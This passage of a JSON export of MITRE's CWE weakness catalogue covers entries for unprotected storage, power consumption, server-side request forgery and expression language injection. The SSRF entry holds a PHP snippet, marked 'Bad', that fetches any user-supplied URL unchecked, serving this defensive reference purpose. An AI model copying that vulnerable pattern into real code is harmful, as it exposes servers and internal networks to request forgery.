"Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Common_Consequences, Relationship_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Demonstrative_Examples, References, Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Description, Dimensions"}], "Contribution": {"@Type": "Feedback", "Contribution_Name": "Mathias Millet", "Contribution_Organization": "GitGuardian", "Contribution_Date": "2022-07-08", "Contribution_Version": "4.9", "Contribution_ReleaseDate": "2022-10-13", "Contribution_Comment": "Suggested changes to Common Consequences and Relationship Notes."}}, "entry_type": "Weakness", "ranking": 437.0}, {"@ID": "921", "@Name": "Storage of Sensitive Data in a Mechanism without Access Control", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product stores sensitive information in a file system or device that does not have built-in access control.", "Extended_Description": {"xhtml:p": ["While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.", "On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port."], "#text_blocks": ["While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.", "On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port."]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "922", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": {"@Class": "Mobile", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Architecture and Design", "Note": "OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase."}}, "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": ["Read Application Data", "Read Files or Directories"], "Note": "Attackers can read sensitive information by accessing the unrestricted storage mechanism."}, {"Scope": "Integrity", "Impact": ["Modify Application Data", "Modify Files or Directories"], "Note": "Attackers can modify or delete sensitive information by accessing the unrestricted storage mechanism."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)"}}, "References": {"Reference": {"@External_Reference_ID": "REF-921"}}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-06-22", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Modes_of_Introduction, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Detection_Factors"}]}, "entry_type": "Weakness", "ranking": 17.0}, {"@ID": "920", "@Name": "Improper Restriction of Power Consumption", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product operates in an environment in which power is a limited resource that cannot be automatically replenished - or has financial restrictions - but the product does not properly restrict the amount of power that its operation consumes.", "Extended_Description": {"xhtml:p": "In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the product itself, and the device might not always be directly attached to a reliable power source. If the product uses too much power too quickly, then this could cause the device (and subsequently, the product) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.", "#text_blocks": ["In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the product itself, and the device might not always be directly attached to a reliable power source. If the product uses too much power too quickly, then this could cause the device (and subsequently, the product) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs."]}, "Technical_Nuance": {"xhtml:p": "Various components of a product or device could consume power, such as:", "xhtml:ul": {"xhtml:li": ["Display", "CPU", "Disk I/O", "GPS", "Sound", "Microphone", "USB interface"]}, "#text_blocks": ["Various components of a product or device could consume power, such as:", "Display", "CPU", "Disk I/O", "GPS", "Sound", "Microphone", "USB interface"]}, "Dimensions": {"Dimension": [{"@Type": "Behavior-Property", "#text": "Improper"}, {"@Type": "Behavior-Type", "#text": "Restriction"}, {"@Type": "Resource-Type", "#text": "Power"}, {"@Type": "Behavior-Type", "#text": "Consumption"}]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "400", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "400", "@View_ID": "1003", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": [{"Ordinality": "Primary"}, {"Ordinality": "Resultant"}]}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Architecture": {"@Class": "Embedded", "@Prevalence": "Undetermined"}, "Technology": {"@Class": "Mobile", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Architecture and Design"}}, "Common_Consequences": {"Consequence": {"Scope": "Availability", "Impact": ["DoS: Resource Consumption (Other)", "DoS: Crash, Exit, or Restart"], "Note": "Normal operation of a device or application will consume power. However, in some cases, an attacker could cause the product/device to consumer power than intended. The power source could be drained, causing the application - and the entire device - to cease functioning."}}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 3-3", "Entry_Name": "Req SR 6.2"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 4-2", "Entry_Name": "Req CR 6.2"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 4-1", "Entry_Name": "Req SD-4"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-06-11", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Description, Dimensions, Technical_Nuance"}], "Contribution": {"@Type": "Content", "Contribution_Name": "\"Mapping CWE to 62443\" Sub-Working Group", "Contribution_Organization": "CWE-CAPEC ICS/OT SIG", "Contribution_Date": "2023-04-25", "Contribution_Version": "4.11", "Contribution_ReleaseDate": "2023-04-27", "Contribution_Comment": "Suggested mappings to ISA/IEC 62443."}}, "entry_type": "Weakness", "ranking": 6.0}, {"@ID": "918", "@Name": "Server-Side Request Forgery", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "@Diagram": "/data/images/CWE-918-Diagram.png", "Description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "441", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "610", "@View_ID": "1003", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Resultant"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": [{"@Class": "Web Based", "@Prevalence": "Undetermined"}, {"@Name": "AI/ML", "@Prevalence": "Often"}, {"@Name": "Web Server", "@Prevalence": "Undetermined"}]}, "Alternate_Terms": {"Alternate_Term": [{"Term": "XSPA", "Role": "Acronym", "Description": "Cross Site Port Attack"}, {"Term": "SSRF", "Role": ["Common-Name", "Acronym"], "Description": "Server-Side Request Forgery"}]}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "Implementation"}]}, "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": "Read Application Data"}, {"Scope": "Integrity", "Impact": "Execute Unauthorized Code or Commands"}, {"Scope": "Access Control", "Impact": "Bypass Protection Mechanism", "Note": "By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": ["Implementation", "Operation"], "Description": ["If there is a known list of applications, IP, hostname, and/or domains to which the product is allowed to communicate, then use allowlists to ensure that outgoing requests are restricted to these known entities. The allowlists could be in the application code or possibly enforced by firewalls or network segmentation [REF-1511]."]}, {"Phase": ["Implementation", "Operation"], "Description": ["If the product is expected to be able to connect to arbitrary IP addresses or domains, consider using a denylist that includes private network addresses, internal domain names, etc. The denylist could be in the application code or possibly enforced by firewalls or network segmentation [REF-1511]."], "Effectiveness": "Moderate", "Effectiveness_Notes": "While denylists can often be bypassed (see CWE-184), this might be the strongest option available."}, {"@Mitigation_ID": "MIT-5", "Phase": "Implementation", "Strategy": "Input Validation", "Description": ["Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.", "When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"", "Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.", "When constructing outgoing requests from input strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": {"Intro_Text": "This code intends to receive a URL from a user, access the URL, and return the results to the user.", "Example_Code": [{"@Nature": "Bad", "@Language": "PHP", "xhtml:div": {"xhtml:i": ["# User-controlled input", "# Fetch the content of the provided URL"], "xhtml:br": [null, null, null, null, null, null], "#text": "$url = $_GET['url'];\n                     \n                     \n                     $response = file_get_contents($url);\n\t\t\t\t\t echo $response;"}, "#text_blocks": ["$url = $_GET['url'];# User-controlled input", "# Fetch the content of the provided URL", "$response = file_get_contents($url);", "echo $response;"]}, {"@Nature": "Good", "@Language": "PHP", "xhtml:div": {"xhtml:i": ["# Define allowed URLs (or domains)", "# Get the user-provided URL", "# Validate against allowed URLs", "# Fetch content safely", "# Escape output for safety"], "xhtml:br": [null, null, null, null, null, null, null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null], "#text": "'https://example.com/data.json','https://api.example.com/info',"}, {"@style": "margin-left:1em;", "xhtml:br": [null, null, null], "#text": "http_response_code(400);echo \"Invalid or unauthorized URL.\";exit;"}, {"@style": "margin-left:1em;", "xhtml:br": [null, null, null], "#text": "http_response_code(500);echo \"Failed to fetch content.\";exit;"}], "#text": "$allowed_urls = [];$url = $_GET['url'] ?? '';if (!in_array($url, $allowed_urls)) {}$response = @file_get_contents($url);if ($response === false) {}echo htmlspecialchars($response);"}, "#text_blocks": ["# Define allowed URLs (or domains)", "$allowed_urls = [", "'https://example.com/data.json',", "'https://api.example.com/info',", "];", "# Get the user-provided URL", "$url = $_GET['url'] ?? '';", "# Validate against allowed URLs", "if (!in_array($url, $allowed_urls)) {", "http_response_code(400);", "echo \"Invalid or unauthorized URL.\";", "exit;", "}", "# Fetch content safely", "$response = @file_get_contents($url);", "if ($response === false) {", "http_response_code(500);", "echo \"Failed to fetch content.\";", "exit;", "}", "echo htmlspecialchars($response);# Escape output for safety"]}], "Body_Text": "The given PHP code is vulnerable to Server-Side Request Forgery (SSRF) because it directly accepts a user-supplied URL from the $_GET['url'] parameter and fetches its content using file_get_contents(), without any validation or restrictions. This allows an attacker to request internal or restricted resources within the server's network, such as internal admin panels, cloud metadata endpoints, or local services running on localhost."}}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2026-33626", "Description": "SSRF in LLM toolkit accesses arbitrary URLs for images, as exploited in the wild in April 2026 to conduct port scanning [REF-1519]", "Link": "https://www.cve.org/CVERecord?id=CVE-2026-33626"}, {"Reference": "CVE-2024-3095", "Description": "SSRF in LLM application development framework because the URL retriever allows connections to local addresses using a crafted Location header", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-3095"}, {"Reference": "CVE-2023-32786", "Description": "Chain: LLM integration framework has prompt injection\n\t     (CWE-1427) that allows an attacker to force the service to retrieve\n\t     data from an arbitrary URL, essentially providing SSRF (CWE-918) and\n\t     potentially injecting content into downstream tasks.", "Link": "https://www.cve.org/CVERecord?id=CVE-2023-32786"}, {"Reference": "CVE-2021-26855", "Description": "Server Side Request Forgery (SSRF) in mail server, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-26855"}, {"Reference": "CVE-2021-21973", "Description": "Server Side Request Forgery in cloud platform, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-21973"}, {"Reference": "CVE-2016-4029", "Description": "Chain: incorrect validation of intended decimal-based IP address format (CWE-1286) enables parsing of octal or hexadecimal formats (CWE-1389), allowing bypass of an SSRF protection mechanism (CWE-918).", "Link": "https://www.cve.org/CVERecord?id=CVE-2016-4029"}, {"Reference": "CVE-2002-1484", "Description": "Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1484"}, {"Reference": "CVE-2004-2061", "Description": "CGI script accepts and retrieves incoming URLs.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-2061"}, {"Reference": "CVE-2010-1637", "Description": "Web-based mail program allows internal network scanning using a modified POP3 port number.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-1637"}, {"Reference": "CVE-2009-0037", "Description": "URL-downloading library automatically follows redirects to file:// and scp:// URLs", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0037"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": {"@CAPEC_ID": "664"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-913"}, {"@External_Reference_ID": "REF-914"}, {"@External_Reference_ID": "REF-915"}, {"@External_Reference_ID": "REF-916"}, {"@External_Reference_ID": "REF-917"}, {"@External_Reference_ID": "REF-918"}, {"@External_Reference_ID": "REF-919"}, {"@External_Reference_ID": "REF-920"}, {"@External_Reference_ID": "REF-1511"}, {"@External_Reference_ID": "REF-1519"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Relationship", "#text": "CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the \"Server\" portion of the SSRF acronym does not necessarily apply."}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-02-17", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-01-19", "Modification_Version": "2.10", "Modification_ReleaseDate": "2017-01-19", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Applicable_Platforms, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-07-20", "Modification_Version": "4.5", "Modification_ReleaseDate": "2021-07-20", "Modification_Comment": "updated References, Related_Attack_Patterns, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-06-28", "Modification_Version": "4.8", "Modification_ReleaseDate": "2022-06-28", "Modification_Comment": "updated Observed_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-11-19", "Modification_Version": "4.16", "Modification_ReleaseDate": "2024-11-19", "Modification_Comment": "updated Alternate_Terms, Common_Consequences, Description, Diagram, Observed_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated Applicable_Platforms, Observed_Examples, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Demonstrative_Examples, References, Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-04-30", "Modification_Version": "4.20", "Modification_ReleaseDate": "2026-04-30", "Modification_Comment": "updated Applicable_Platforms, Observed_Examples, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Name, Potential_Mitigations"}], "Contribution": [{"@Type": "Content", "Contribution_Name": "Abhi Balakrishnan", "Contribution_Date": "2024-02-29", "Contribution_Version": "4.16", "Contribution_ReleaseDate": "2024-11-19", "Contribution_Comment": "Provided diagram to improve CWE usability"}, {"@Type": "Content", "Contribution_Name": "Affan Ahmed", "Contribution_Date": "2025-02-08", "Contribution_Version": "4.19", "Contribution_ReleaseDate": "2025-12-11", "Contribution_Comment": "Provided a PHP-based demonstrative example"}], "Previous_Entry_Name": {"@Date": "2026-10-28", "#text": "Server-Side Request Forgery (SSRF)"}}, "entry_type": "Weakness", "ranking": 4466.0}, {"@ID": "917", "@Name": "Improper Neutralization of Special Elements used in an Expression Language Statement", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "77", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "PeerOf", "@CWE_ID": "1336", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1003", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "77", "@View_ID": "1305", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "77", "@View_ID": "1340", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Name": "Java", "@Prevalence": "Undetermined"}}, "Background_Details": {"Background_Detail": "Frameworks such as Java Server Page (JSP) allow a developer to insert executable expressions within otherwise-static content."}, "Alternate_Terms": {"Alternate_Term": [{"Term": "EL Injection", "Role": "Acronym"}, {"Term": "Expression Language Injection", "Role": ["Common-Name", "Attack-Focused"]}]}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "Implementation"}]}, "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": "Read Application Data", "Note": "An attacker could insert an expression that references private data, which is then included in the output."}, {"Scope": "Integrity", "Impact": "Execute Unauthorized Code or Commands", "Note": "An attacker could execute arbitrary expressions."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Architecture and Design", "Description": ["Avoid adding user-controlled data into an expression interpreter when possible."]}, {"Phase": "Implementation", "Description": ["If user-controlled data must be added to an expression interpreter, one or more of the following should be performed:", "Validate that the user input will not evaluate as an expression", "Encode the user input in a way that ensures it is not evaluated as an expression"]}, {"Phase": ["System Configuration", "Operation"], "Description": ["The framework or tooling might allow the developer to disable or deactivate the processing of EL expressions, such as setting the isELIgnored attribute for a JSP page to \"true\"."]}]}, "Observed_Examples": {"Observed_Example": {"Reference": "CVE-2021-44228", "Description": "Product does not neutralize ${xyz} style expressions, allowing remote code execution. (log4shell vulnerability in log4j)", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-44228", "Rationale": "Influential/Newsworthy"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-911"}, {"@External_Reference_ID": "REF-912"}, {"@External_Reference_ID": "REF-1279"}, {"@External_Reference_ID": "REF-1280"}, {"@External_Reference_ID": "REF-1534"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": [{"@Type": "Maintenance", "#text": "The interrelationships and differences between CWE-917 and CWE-1336 need to be further clarified."}, {"@Type": "Relationship", "#text": "In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration."}]}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-02-15", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", 